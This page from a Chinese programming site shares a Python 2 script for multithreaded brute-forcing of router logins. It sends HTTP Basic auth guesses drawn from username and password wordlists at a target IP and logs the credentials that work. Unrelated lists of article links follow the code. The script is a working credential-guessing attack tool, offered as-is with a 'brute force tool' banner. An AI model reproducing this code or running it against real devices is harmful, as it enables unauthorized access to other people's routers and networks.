python实现多线程暴力破解登陆路由器功能代码分享


Posted in Python onJanuary 04, 2015

运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....

#coding:utf-8- 

import base64 

import urllib2 

import Queue 

import threading,re,sys 

queue = Queue.Queue() 

class Rout_thread(threading.Thread):
  def __init__(self,queue,passwd):
    threading.Thread.__init__(self) 

    self.queue=queue 

    self.passwordlist=passwd 

  def run(self): 

    self.user=queue.get() 

    for self.passwd in self.passwordlist: 

      request = urllib2.Request("http://"+target) 

      psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd) 

      request.add_header('Authorization', psw_base64) 

      try: 

         

        response = urllib2.urlopen(request) 

        print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd) 

        fp3 = open('log.txt','a') 

        fp3.write(self.user+'||'+self.passwd+'\r\n') 

        fp3.close() 

      except urllib2.HTTPError: 

        print "[-]password:%s Error!" % (self.passwd)
 
if __name__ == '__main__': 

  print ''' 

    ####################################################### 

    #                                                     # 

    #                Routing brute force tool             # 

    #                                                     # 

    #                 by:well                             # 

    #                                                    # 

    ####################################################### 

''' 

  passwordlist = [] 

  line = 20 

  threads = [] 

  global target 

  target = raw_input("input ip:") 

  fp =open("user.txt") 

  fp2=open("passwd.txt") 

  for user in fp.readlines(): 

    queue.put(user.split('\n')[0]) 

  for passwd in fp2.readlines(): 

    passwordlist.append(passwd.split('\n')[0]) 

    #print passwordlist 

       

  fp.close() 

  fp2.close() 

  for i in range(line): 

    a = Rout_thread(queue,passwordlist) 

    a.start() 

    threads.append(a) 

  for j in threads: 

    j.join()
Python 相关文章推荐
Python文件去除注释的方法
May 25 Python
Python基于smtplib实现异步发送邮件服务
May 28 Python
学习python类方法与对象方法
Mar 15 Python
详解python中executemany和序列的使用方法
Aug 12 Python
python 动态加载的实现方法
Dec 22 Python
Zookeeper接口kazoo实例解析
Jan 22 Python
Python实现Event回调机制的方法
Feb 13 Python
python基础梳理(一)(推荐)
Apr 06 Python
详解Python并发编程之从性能角度来初探并发编程
Aug 23 Python
使用Django实现把两个模型类的数据聚合在一起
Mar 28 Python
python3.8动态人脸识别的实现示例
Sep 21 Python
如何使用Python提取Chrome浏览器保存的密码
Jun 09 Python
Python中对列表排序实例
Jan 04 #Python
Python实现爬取知乎神回复简单爬虫代码分享
Jan 04 #Python
Python连接mssql数据库编码问题解决方法
Jan 01 #Python
Python中optparse模块使用浅析
Jan 01 #Python
Python中urllib2模块的8个使用细节分享
Jan 01 #Python
Python读取ini文件、操作mysql、发送邮件实例
Jan 01 #Python
Python实现检测服务器是否可以ping通的2种方法
Jan 01 #Python
You might like
CI框架给视图添加动态数据
2014/12/01 PHP
使用laravel和ajax实现整个页面无刷新的操作方法
2019/10/03 PHP
JavaScript 开发中规范性的一点感想
2009/06/23 Javascript
jQuery EasyUI 中文API Button使用实例
2010/04/14 Javascript
jquery动态添加option示例
2013/12/30 Javascript
JS实现让访问者自助选择网页文字颜色的方法
2015/02/24 Javascript
jquery实现简洁文件上传表单样式
2015/11/02 Javascript
jQuery的内容过滤选择器学习教程
2016/04/18 Javascript
Dojo获取下拉框的文本和值实例代码
2016/05/27 Javascript
什么是Vue.js框架 为什么选择它?
2017/10/17 Javascript
基于vue如何发布一个npm包的方法步骤
2019/05/15 Javascript
JavaScript从原型到原型链深入理解
2019/06/03 Javascript
vue实现导航标题栏随页面滚动渐隐渐显效果
2020/03/12 Javascript
精读《Vue3.0 Function API》
2020/05/20 Javascript
[01:28]国服启动器接入蒸汽平台操作流程视频
2021/03/11 DOTA
Python修改Excel数据的实例代码
2013/11/01 Python
Python实现读写sqlite3数据库并将统计数据写入Excel的方法示例
2017/08/07 Python
Python多进程multiprocessing用法实例分析
2017/08/18 Python
python中使用xlrd读excel使用xlwt写excel的实例代码
2018/01/31 Python
Python安装图文教程 Pycharm安装教程
2018/03/27 Python
python使用phoenixdb操作hbase的方法示例
2019/02/28 Python
python实现差分隐私Laplace机制详解
2019/11/25 Python
深入理解Tensorflow中的masking和padding
2020/02/24 Python
Python网络爬虫信息提取mooc代码实例
2020/03/06 Python
Windows下Anaconda和PyCharm的安装与使用详解
2020/04/23 Python
通过实例简单了解Python sys.argv[]使用方法
2020/08/04 Python
python 常用日期处理-- datetime 模块的使用
2020/09/02 Python
利于python脚本编写可视化nmap和masscan的方法
2020/12/29 Python
原生canvas制作画图小工具的踩坑和爬坑
2020/06/09 HTML / CSS
借款协议书
2014/09/16 职场文书
2014年审计工作总结
2014/11/17 职场文书
教师业务学习材料
2014/12/16 职场文书
优秀教研组申报材料
2014/12/26 职场文书
《圆的面积》教学反思
2016/02/19 职场文书
加薪申请书应该这样写!
2019/07/04 职场文书
Mysql数据库按时间点恢复实战记录
2021/06/30 MySQL